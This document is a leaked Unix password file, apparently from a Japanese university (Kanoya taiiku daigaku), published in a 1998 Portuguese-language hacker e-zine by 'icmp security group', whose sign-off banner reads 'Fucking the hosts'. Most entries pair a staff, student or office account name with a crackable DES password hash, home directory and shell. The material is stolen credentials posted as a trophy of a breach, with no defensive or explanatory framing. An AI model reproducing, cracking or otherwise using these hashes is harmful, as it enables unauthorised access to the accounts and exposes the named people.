m-matsu:*:430:400:kanoya taiiku daigaku user:/home/m-matsu:/bin/csh

n-inoue:*:431:400:kanoya taiiku daigaku user:/home/n-inoue:/bin/csh

shimizu:nGgBu/eAbkQts:432:400:kanoya taiiku daigaku user:/home/shimizu:/bin/csh
kitagawa:lKR5WpZZ9LAQ6:433:400:kanoya taiiku daigaku user:/home/kitagawa:/bin/csh
kit:b8RE1hcmNEVJ2:447:400:kanoya taiiku daigaku user:/home/kitagawa:/bin/csh
y-urita:KMLFJNLmUXOx.:434:400:kanoya taiiku daigaku user:/home/y-urita:/bin/csh
h-okada:*:435:400:kanoya taiiku daigaku user:/home/h-okada:/bin/csh
kintaka:mWlSI4GSPOqOk:436:400:kanoya taiiku daigaku user:/home/kintaka:/bin/csh
hamada:zipg3aytaJqCc:437:400:kanoya taiiku daigaku user:/home/hamada:/bin/csh

ogita:VipHELZ117Lgs:439:400:kanoya taiiku daigaku user:/home/ogita:/bin/csh
k-miura:iUHdaY/9BZPGU:440:400:kanoya taiiku daigaku user:/home/k-miura:/bin/csh

murayama:*:442:400:kanoya taiiku daigaku user:/home/murayama:/bin/csh
matukawa:*:443:400:kanoya taiiku daigaku user:/home/matukawa:/bin/csh
kokubu:*:444:400:kanoya taiiku daigaku user:/home/kokubu:/bin/csh
shigeoka:*:445:400:kanoya taiiku daigaku user:/home/shigeoka:/bin/csh
otsubo:*:446:400:kanoya taiiku daigaku user:/home/otsubo:/bin/csh

maesaka:/iFwHdG5AUnMg:449:400:kanoya taiiku daigaku user:/home/maesaka:/bin/csh
miyata:v1NhQvsQh1E1A:450:400:kanoya taiiku daigaku user:/home/miyata:/bin/csh

y-miura:*:451:400:kanoya taiiku daigaku user:/home/y-miura:/bin/csh

yamazaki:hHO/HNZgXKBgc:453:400:kanoya taiiku daigaku user:/home/yamazaki:/bin/csh
hagi:IBvbJbO61eKRQ:454:400:kanoya taiiku daigaku user:/home/hagi:/bin/csh
kitamura:9nZTbBQpt3NQs:455:400:kanoya taiiku daigaku user:/home/kitamura:/bin/csh
isayama:*:456:400:kanoya taiiku daigaku user:/home/isayama:/bin/csh

kodama:*:458:400:kanoya taiiku daigaku user:/home/kodama:/bin/csh
hirasawa:*:459:400:kanoya taiiku daigaku user:/home/hirasawa:/bin/csh

miyasita:ysOGDu/zDdBT2:461:400:kanoya taiiku daigaku user:/home/miyasita:/bin/csh

junlakan:sdJ3XIe5BFr8E:463:400:kanoya taiiku daigaku user:/home/junlakan:/bin/csh
yoshida:tEnVn2VVfHfJw:464:400:kanoya taiiku daigaku user:/home/yoshida:/bin/csh
furukawa:3tBpCMpxW5PkQ:465:400:kanoya taiiku daigaku user:/home/furukawa:/bin/csh

saito:jEb4YrAZLnbxw:466:400:kanoya taiiku daigaku user:/home/saito:/bin/csh
okuwaki:jEDiS4cKLvXT.:467:400:kanoya taiiku daigaku user:/home/okuwaki:/bin/csh

sugiyama:giC1jpdDkEP1Y:468:400:kanoya taiiku daigaku user:/home/sugiyama:/bin/csh
ogane:bjWVj4mNhS42o:469:400:kanoya taiiku daigaku user:/home/ogane:/bin/csh
zushi:FjomzVNJSjdCA:470:400:kanoya taiiku daigaku user:/home/zushi:/bin/csh
tanaka:UAi5Y0VtxMpHY:471:400:kanoya taiiku daigaku user:/home/tanaka:/bin/csh

fujise:*:472:400:kanoya taiiku daigaku user:/home/fujise:/bin/csh
shiokawa:R72.whTw2GigY:474:400:kanoya taiiku daigaku user:/home/shiokawa:/bin/csh

takesita:vxhg9BaPNFQz2:476:400:kanoya taiiku daigaku user:/home/takesita:/bin/csh
hasiguti:0JzH.inTedzaU:477:400:kanoya taiiku daigaku user:/home/hasiguti:/bin/csh
tani:Yp3iE1vF24duM:478:400:kanoya taiiku daigaku user:/home/tani:/bin/csh
n-harada:2rvuAbh2M69Ys:479:400:kanoya taiiku daigaku user:/home/n-harada:/bin/csh
kanaya:*:480:400:kanoya taiiku daigaku user:/home/kanaya:/bin/csh

hiroo:JS/sJIUz0emv.:482:400:kanoya taiiku daigaku user:/home/hiroo:/bin/csh
anneb:zHIqmTa0EwlpM:483:400:kanoya taiiku daigaku user:/home/anneb:/bin/csh
yamamoto:LwukVQ9fi4uoA:484:400:kanoya taiiku daigaku user:/home/yamamoto:/bin/csh

kmwzm:*:496:400:kanoya taiiku daigaku user:/home/kmwzm:/bin/csh
jun:jBqFDuOVZLZXg:497:400:kanoya taiiku daigaku user:/home/kmwzm:/bin/csh

kyomu1:ZWQwp928qJfck:501:500:kanoya taiiku daigaku user:/home/kyomu1:/bin/csh
kyomu2:*:502:500:kanoya taiiku daigaku user:/home/kyomu2:/bin/csh
gakusei1:*:503:500:kanoya taiiku daigaku user:/home/gakusei1:/bin/csh
gakusei2:*:504:500:kanoya taiiku daigaku user:/home/gakusei4:/bin/csh
kaikei1:*:505:500:kanoya taiiku daigaku user:/home/kaikei1:/bin/csh
kaikei2:*:506:500:kanoya taiiku daigaku user:/home/kaikei2:/bin/csh
syomu1:*:507:500:kanoya taiiku daigaku user:/home/syomu1:/bin/csh
syomu2:*:508:500:kanoya taiiku daigaku user:/home/syomu2:/bin/csh
sisetu1:*:509:500:kanoya taiiku daigaku user:/home/sisetu1:/bin/csh
sisetu2:*:510:500:kanoya taiiku daigaku user:/home/sisetu2:/bin/csh

cat1:*:511:500:kanoya taiiku daigaku user:/home/cat1:/bin/csh
cat2:*:512:500:kanoya taiiku daigaku user:/home/cat2:/bin/csh
cat3:*:513:500:kanoya taiiku daigaku user:/home/cat3:/bin/csh
ref1:*:514:500:kanoya taiiku daigaku user:/home/ref1:/bin/csh
ref2:*:515:500:kanoya taiiku daigaku user:/home/ref2:/bin/csh

mori:VBeoqcQ7JDdks:517:500:kanoya taiiku daigaku user:/home/mori:/bin/csh
naka:Yzw3WqiacoOVg:519:500:kanoya taiiku daigaku user:/home/y-nakamura:/bin/csh

mr3.1:*:520:500:kanoya taiiku daigaku user:/home/mrsrv:/bin/sh

gakutyo:*:521:500:kanoya taiiku daigaku user:/home/gakutyo:/bin/csh
fukugaku:*:522:500:kanoya taiiku daigaku user:/home/fukugaku:/bin/csh

futaishi:CRlJBTL2.qpxQ:526:500:kanoya taiiku daigaku user:/home/futaishi:/bin/csh
oda:U1OwQetoXIXRk:528:500:kanoya taiiku daigaku user:/home/oda:/bin/csh

masako:*:533:500:kanoya taiiku daigaku user:/home/masako:/bin/csh
nakada:aUflsh5G7s46E:536:500:kanoya taiiku daigaku user:/home/nakada:/bin/csh
uezono:3JRktzg88EQR2:537:500:kanoya taiiku daigaku user:/home/uezono:/bin/csh
shuko:iVBuEfNFgy6ao:539:500:kanoya taiiku daigaku user:/home/shuko:/bin/csh
kouji:ND5RMPmbGIJfQ:540:500:kanoya taiiku daigaku user:/home/kouji:/bin/csh

miyan:O0v0rquVhl9Hc:543:500:kanoya taiiku daigaku user:/home/miyan:/bin/csh
takeda:aBLvLejn1HXEk:544:500:kanoya taiiku daigaku user:/home/takeda:/bin/csh
sumihiro:BiGjlJp5.7eSg:545:500:kanoya taiiku daigaku user:/home/sumihiro:/bin/csh
harada:TicWYwZ/OMsM.:548:500:kanoya taiiku daigaku user:/home/harada:/bin/csh
jet:D.ChobGpjxYe.:549:500:kanoya taiiku daigaku user:/home/jet:/bin/csh
moriya:Xfj0I7QxJlxsM:550:500:kanoya taiiku daigaku user:/home/moriya:/bin/csh

abematsu:YdoQat3FkN59A:552:500:kanoya taiiku daigaku user:/home/abematsu:/bin/csh
arimarie:7ZEauVpuq1c1Q:553:500:kanoya taiiku daigaku user:/home/arimarie:/bin/csh
itoh:AjysmawDLQ5n6:555:500:kanoya taiiku daigaku user:/home/itou:/bin/csh
yonezawa:SjlUsHM8uvopM:557:500:kanoya taiiku daigaku user:/home/yonezawa:/bin/csh
tusiro:XR9newvcJV7LQ:558:500:kanoya taiiku daigaku user:/home/tusiro:/bin/csh
simazu:Ikfc20IXNvTCw:559:500:kanoya taiiku daigaku user:/home/simazu:/bin/csh
enami:/kZuSxS415316:560:500:kanoya taiiku daigaku user:/home/enami:/bin/csh

satosi:mNCpVWea2lRQs:561:500:kanoya taiiku daigaku user:/home/satosi:/bin/csh
utiyama:il9cY1THi4F8I:564:500:kanoya taiiku daigaku user:/home/utiyama:/bin/csh
tatui:CJdc4.2.NHNa.:565:500:kanoya taiiku daigaku user:/home/tatui:/bin/csh
murase:ED1kmnisN/zi.:566:500:kanoya taiiku daigaku user:/home/murase:/bin/csh
watanabe:Qst/NGwmqVGzU:567:500:kanoya taiiku daigaku user:/home/watanabe:/bin/csh
arima:3FOfogZ9ReFa2:568:500:kanoya taiiku daigaku user:/home/arima:/bin/csh
kai:UJwUwAq415hCQ:569:500:kanoya taiiku daigaku user:/home/kai:/bin/csh
moc:AN2SKE8b4oBfk:570:500:kanoya taiiku daigaku user:/home/moc:/bin/csh

miyazaki:FtwuGz7AtMJXQ:571:500:kanoya taiiku daigaku user:/home/miyazaki:/bin/csh
kinuko:IMBANk8lmBdEI:572:500:kanoya taiiku daigaku user:/home/kinuko:/bin/csh
iria:*:576:500:kanoya taiiku daigaku user:/home/iria:/bin/csh
seiko:rJ9uzGOxO0rk.:577:500:kanoya taiiku daigaku user:/home/seiko:/bin/csh
kinjou:CFfVoJG1VKzAc:579:500:kanoya taiiku daigaku user:/home/kinjou:/bin/csh
takezako:8c30Q2BUQHskE:580:500:kanoya taiiku daigaku user:/home/takezako:/bin/csh

ichiro:dJxlvewZPiFcI:584:500:kanoya taiiku daigaku user:/home/ichiro:/bin/csh
sakazaki:gCuF/70CGGMAY:585:500:kanoya taiiku daigaku user:/home/sakazaki:/bin/csh
kawasaki:nIUirblUzrI7.:587:500:kanoya taiiku daigaku user:/home/kawasaki:/bin/csh
morisita:zqW2gVUobILxI:588:500:kanoya taiiku daigaku user:/home/morisita:/bin/csh
kubota:9Ijd0h7FOajnk:590:500:kanoya taiiku daigaku user:/home/kubota:/bin/csh
jun1:*:591:500:kanoya taiiku daigaku user:/home/jun1:/bin/csh
yosimoto:7PENXxX2UZTmE:592:500:kanoya taiiku daigaku user:/home/yosimoto:/bin/csh
aoyama:mzcwXN3991NR2:593:500:kanoya taiiku daigaku user:/home/aoyama:/bin/csh

shuichi:hglSFAPHkdqZw:594:500:kanoya taiiku daigaku user:/home/shuichi:/bin/csh
koya:uSj1j.NZ10MPM:595:500:kanoya taiiku daigaku user:/home/koya:/bin/csh
ritsu:lS3r3Gth7xusk:596:500:kanoya taiiku daigaku user:/home/ritsu:/bin/csh
hiro:tTph3fWFr2RL6:597:500:kanoya taiiku daigaku user:/home/hiro:/bin/csh

ken:9UqNMgM06RdvQ:598:500:kanoya taiiku daigaku user:/home/ken:/bin/csh
fumie:KSWa55ZFX3qtI:600:500:kanoya taiiku daigaku user:/home/fumie:/bin/csh
yuki:ZEQzuZ7z341wk:601:500:kanoya taiiku daigaku user:/home/yuki:/bin/csh
sumita:iCvyvhuav1gew:602:500:kanoya taiiku daigaku user:/home/sumita:/bin/csh
yosizako:ngCD2.ZA0s/3.:603:500:kanoya taiiku daigaku user:/home/yoshizako:/bin/csh
yosiura:1jTHLH5sWhg0U:604:500:kanoya taiiku daigaku user:/home/yosiura:/bin/csh
aikou:eEfeALE7KaJpk:605:500:kanoya taiiku daigaku user:/home/aikou:/bin/csh
ty:pCIw59nsSSbUc:606:500:kanoya taiiku daigaku user:/home/ty:/bin/csh
rei:DEVdrcW17WJqI:607:500:kanoya taiiku daigaku user:/home/rei:/bin/csh
junichit:oDF1bZmEmz85U:608:500:kanoya taiiku daigaku user:/home/junichit:/bin/csh
emiko:GdA2WIwUVd0PU:609:500:kanoya taiiku daigaku user:/home/emiko:/bin/csh
mae:cGhl2FWgmlwFY:610:500:kanoya taiiku daigaku user:/home/mae:/bin/csh
ikouga:Xe4u2MiX5Cqxg:611:500:kanoya taiiku daigaku user:/home/ikouga:/bin/csh
hiroshi:JHb6EST71JTvI:612:500:kanoya taiiku daigaku user:/home/hiroshi:/bin/csh
sadohara:vJTUpsNCJWGYw:613:500:kanoya taiiku daigaku user:/home/sadohara:/bin/csh
waka:JLV43wZPxrnrU:614:500:kanoya taiiku daigaku user:/home/waka:/bin/csh

daisaku:7K1VB9EdTEYuI:626:500:kanoya taiiku daigaku user:/home/daisaku:/bin/csh
kaisei:GKbOx0Bys94Zk:627:500:kanoya taiiku daigaku user:/home/keisei:/bin/csh
t-sakata:z6IU3szs7b4hI:628:500:kanoya taiiku daigaku user:/home/t-sakata:/bin/csh
sugimoto:hMIQiGd5/Iadk:629:500:kanoya taiiku daigaku user:/home/sugimoto:/bin/csh

kojima://ergDlpjRISY:630:500:kanoya taiiku daigaku user:/home/kojima:/bin/csh
ueyama:Z/2ZTU7xPCfMs:631:500:kanoya taiiku daigaku user:/home/ueyama:/bin/csh
wakimoto:njJVqHS3mjYE.:632:500:kanoya taiiku daigaku user:/home/wakimoto:/bin/csh
n-reiko:W/ts4F5.YxFt2:633:500:kanoya taiiku daigaku user:/home/n-reiko:/bin/csh
yamanda:jxIEeAaeO7xxA:634:500:kanoya taiiku daigaku user:/home/yamanda:/bin/csh

jyoho:lIU0/EK//N2Qs:635:500:kanoya taiiku daigaku user:/home/jyoho:/bin/csh

kamimura:PNZ9oM67ivaOw:636:500:kanoya taiiku daigaku user:/home/kamimura:/bin/csh
nakatomi:oLD9x8EsS.93Y:637:500:kanoya taiiku daigaku user:/home/nakatomi:/bin/csh
simamori:vsnVxlEdBZfFk:638:500:kanoya taiiku daigaku user:/home/simamori:/bin/csh
kari:t1Xmc0kHtBd0E:639:500:kanoya taiiku daigaku user:/home/kari:/bin/csh
ijichi:YesCHHX3duZkw:640:500:kanoya taiiku daigaku user:/home/ijichi:/bin/csh
higasiya:cPby83lnLnDFo:641:500:kanoya taiiku daigaku user:/home/higasiya:/bin/csh
uchida:PlbcL9QKQr86s:642:500:kanoya taiiku daigaku user:/home/uchida:/bin/csh
nagaosa:tp5Y1RtbDmZGc:643:500:kanoya taiiku daigaku user:/home/nagaosa:/bin/csh
yanachi:xee.44nHBr2WY:644:500:kanoya taiiku daigaku user:/home/yanachi:/bin/csh
masatugu:/wKOEvy4i/1IM:645:500:kanoya taiiku daigaku user:/home/masatugu:/bin/csh
satou:yTCrOUvjOoKFI:646:500:kanoya taiiku daigaku user:/home/satou:/bin/csh
jingusi:JaPTFL1UqGYro:647:500:kanoya taiiku daigaku user:/home/jingusi:/bin/csh
watanabe:Qst/NGwmqVGzU:648:500:kanoya taiiku daigaku user:/home/watanabe:/bin/csh
matsuoj:q0kxeXFVFy.zU:649:500:kanoya taiiku daigaku user:/home/matsuoj:/bin/csh
fukusima:X7bEuwgiJGSMg:650:500:kanoya taiiku daigaku user:/home/fukusima:/bin/csh
kawahata:AbjA0uC5HWIbQ:651:500:kanoya taiiku daigaku user:/home/kawahata:/bin/csh
msin:FoLo2/OxvpU2c:652:500:kanoya taiiku daigaku user:/home/msin:/bin/csh

grace:kLaiImY7gpD:699:600:kanoya taiiku daigaku user:/home/grace:/bin/csh

m9610:eBkB2v6qgrE9M:709:600:kanoya taiiku daigaku user:/home/m9610:/bin/csh
m9619:78l11iqNzit6Q:718:600:kanoya taiiku daigaku user:/home/m9619:/bin/csh
m9620:1E5bSi.r3dfbA:719:600:kanoya taiiku daigaku user:/home/m9620:/bin/csh
m9621:xAvm6oO/uDbM2:720:600:kanoya taiiku daigaku user:/home/m9621:/bin/csh

m9501:*:721:600:kanoya taiiku daigaku user:/home/m9501:/bin/csh
m9502:*:722:600:kanoya taiiku daigaku user:/home/m9502:/bin/csh
m9503:*:723:600:kanoya taiiku daigaku user:/home/m9503:/bin/csh
m9504:*:724:600:kanoya taiiku daigaku user:/home/m9504:/bin/csh
m9505:*:725:600:kanoya taiiku daigaku user:/home/m9505:/bin/csh
m9506:*:726:600:kanoya taiiku daigaku user:/home/m9506:/bin/csh
m9507:*:727:600:kanoya taiiku daigaku user:/home/m9507:/bin/csh
m9508:*:728:600:kanoya taiiku daigaku user:/home/m9508:/bin/csh
m9509:*:729:600:kanoya taiiku daigaku user:/home/m9509:/bin/csh
m9510:*:730:600:kanoya taiiku daigaku user:/home/m9510:/bin/csh

m9511:*:731:600:kanoya taiiku daigaku user:/home/m9511:/bin/csh
m9512:*:732:600:kanoya taiiku daigaku user:/home/m9512:/bin/csh
m9513:*:733:600:kanoya taiiku daigaku user:/home/m9513:/bin/csh

m9701:*:735:600:kanoya taiiku daigaku user:/home/m9701:/bin/csh
m9702:*:736:600:kanoya taiiku daigaku user:/home/m9702:/bin/csh
m9703:*:737:600:kanoya taiiku daigaku user:/home/m9703:/bin/csh
m9704:*:738:600:kanoya taiiku daigaku user:/home/m9704:/bin/csh
m9705:*:739:600:kanoya taiiku daigaku user:/home/m9705:/bin/csh
m9706:*:740:600:kanoya taiiku daigaku user:/home/m9706:/bin/csh
m9707:*:741:600:kanoya taiiku daigaku user:/home/m9707:/bin/csh
m9708:*:742:600:kanoya taiiku daigaku user:/home/m9708:/bin/csh
m9709:*:743:600:kanoya taiiku daigaku user:/home/m9709:/bin/csh
m9710:*:744:600:kanoya taiiku daigaku user:/home/m9710:/bin/csh

m9711:*:745:600:kanoya taiiku daigaku user:/home/m9711:/bin/csh
m9712:vequrgn2La.Y6:746:600:kanoya taiiku daigaku user:/home/m9712:/bin/csh
m9713:*:747:600:kanoya taiiku daigaku user:/home/m9713:/bin/csh
m9714:*:748:600:kanoya taiiku daigaku user:/home/m9714:/bin/csh
m9715:*:749:600:kanoya taiiku daigaku user:/home/m9715:/bin/csh
m9716:*:750:600:kanoya taiiku daigaku user:/home/m9716:/bin/csh
m9717:CWzh6QDEa01DU:751:600:kanoya taiiku daigaku user:/home/m9717:/bin/csh
m9718:*:752:600:kanoya taiiku daigaku user:/home/m9718:/bin/csh
m9719:*:753:600:kanoya taiiku daigaku user:/home/m9719:/bin/csh
m9720:*:754:600:kanoya taiiku daigaku user:/home/m9720:/bin/csh

chengpjk:yi4wEtxVl46Ac:755:600:kanoya taiiku daigaku user:/home/chengpjk:/bin/csh

syomu-s:uTRgO3FirjUWI:800:501:kanoya taiiku daigaku user:/home/syomu-s:/bin/csh
syomu:lT5CXVswOAUrY:801:501:kanoya taiiku daigaku user:/home/syomu:/bin/csh
kikaku:KTVSmEMMhUIgM:802:501:kanoya taiiku daigaku user:/home/kikaku:/bin/csh
kokusai:2TY9vH6aLoS4.:803:501:kanoya taiiku daigaku user:/home/kokusai:/bin/csh
jinji:p7jtrQeDllhdA:804:501:kanoya taiiku daigaku user:/home/jinji:/bin/csh
kaikei-s:EQzPWLL9danlc:805:501:kanoya taiiku daigaku user:/home/kaikei-s:/bin/csh
somu:5QbrVwAncMABc:806:501:kanoya taiiku daigaku user:/home/somu:/bin/csh
shikei:yPIxYqcRL3Wmo:807:501:kanoya taiiku daigaku user:/home/shikei:/bin/csh
keiri:pP1gSk0Ob1Jxo:808:501:kanoya taiiku daigaku user:/home/keiri:/bin/csh
youdo:XPCnPIJg3zZvQ:809:501:kanoya taiiku daigaku user:/home/youdo:/bin/csh
sisetu:TKagiuUfhR2qs:810:501:kanoya taiiku daigaku user:/home/sisetu:/bin/csh

setsubi:RbX4.QBCG/KJA:811:501:kanoya taiiku daigaku user:/home/setsubi:/bin/csh
kyoumu1:naCjC9v7fu2Yc:812:501:kanoya taiiku daigaku user:/home/kyoumu1:/bin/csh
kyoumu2:DIFyv9lRErZ3c:813:501:kanoya taiiku daigaku user:/home/kyoumu2:/bin/csh
nyushi:xHyVwkAJx3FlE:814:501:kanoya taiiku daigaku user:/home/nyushi:/bin/csh
gaku-s:oHqkw7mZDiHbg:815:501:kanoya taiiku daigaku user:/home/gaku-s:/bin/csh
gaku-s1:sVyNA8Eicg9JE:816:501:kanoya taiiku daigaku user:/home/gaku-s1:/bin/csh
gaku-s2:HW7BkmBTP4MfM:817:501:kanoya taiiku daigaku user:/home/gaku-s2:/bin/csh
taiku:vNFEwrJ7oTy6Y:818:501:kanoya taiiku daigaku user:/home/taiku:/bin/csh
kanri:MTz7C1dE8kXJY:819:501:kanoya taiiku daigaku user:/home/kanri:/bin/csh

gakusei:D9sJoqbPOeXf2:821:501:kanoya taiiku daigaku user:/home/gakusei:/bin/csh
jyo-sa:GFZYqQBCcOPz6:822:501:kanoya taiiku daigaku user:/home/jyosa:/bin/csh

kyokutyo:8jZXx87vKNR8U:823:501:kanoya taiiku daigaku user:/home/kyokutyo:/bin/csh
syomu-k:rjRsew4jAzTGE:824:501:kanoya taiiku daigaku user:/home/syomu-k:/bin/csh
syomu-h:NmYMlMun9ejsI:825:501:kanoya taiiku daigaku user:/home/syomu-h:/bin/csh
kaikei-k:DnRvTkSU1DgPE:826:501:kanoya taiiku daigaku user:/home/kaikei-k:/bin/csh
kaikei-h:MnVjWiglJvlcg:827:501:kanoya taiiku daigaku user:/home/kaikei-h:/bin/csh
sisetu-k:nnk7thihp.hKA:828:501:kanoya taiiku daigaku user:/home/sisetu-k:/bin/csh
kyoumu-k:2pZVYsV6twP0c:829:501:kanoya taiiku daigaku user:/home/kyoumu-k:/bin/csh
kyoumu-h:TpgYR6vzzwvZo:830:501:kanoya taiiku daigaku user:/home/kyoumu-h:/bin/csh
gakuse-k:9rLrIs86QHymE:831:501:kanoya taiiku daigaku user:/home/gakuse-k:/bin/csh
gakuse-h:/s/FPpXvFZFdA:832:501:kanoya taiiku daigaku user:/home/gakuse-h:/bin/csh
tosyo-k:Gt4pFmOiKoAiw:833:501:kanoya taiiku daigaku user:/home/tosho-k:/bin/csh
matuzaki:*:834:501:kanoya taiiku daigaku user:/home/matuzaki:/bin/csh

_____

 isso ae galera! Obrigado por ler o nosso e-zine!!!

icmp security group (c) copyright 1998
. .. Fucking the hosts .. .

 iii cccccccccc mmmmmmmmmmmmm ppppppppppp
 iii cccccccccc mmm  mmm  mmm ppp      pp
 iii ccc        mmm  mmm  mmm ppp      pp    ---> feioso! ;]==*~~~
 iii ccc        mmm  mmm  mmm ppp      pp
 iii ccc        mmm  mmm  mmm ppppppppppp
 iii ccc        mmm       mmm ppp
 iii cccccccccc mmm       mmm ppp
 iii cccccccccc mmm       mmm ppp    security group 1998

 AsCii By ZeFuReNgA < furenga@hotmail.com >

     
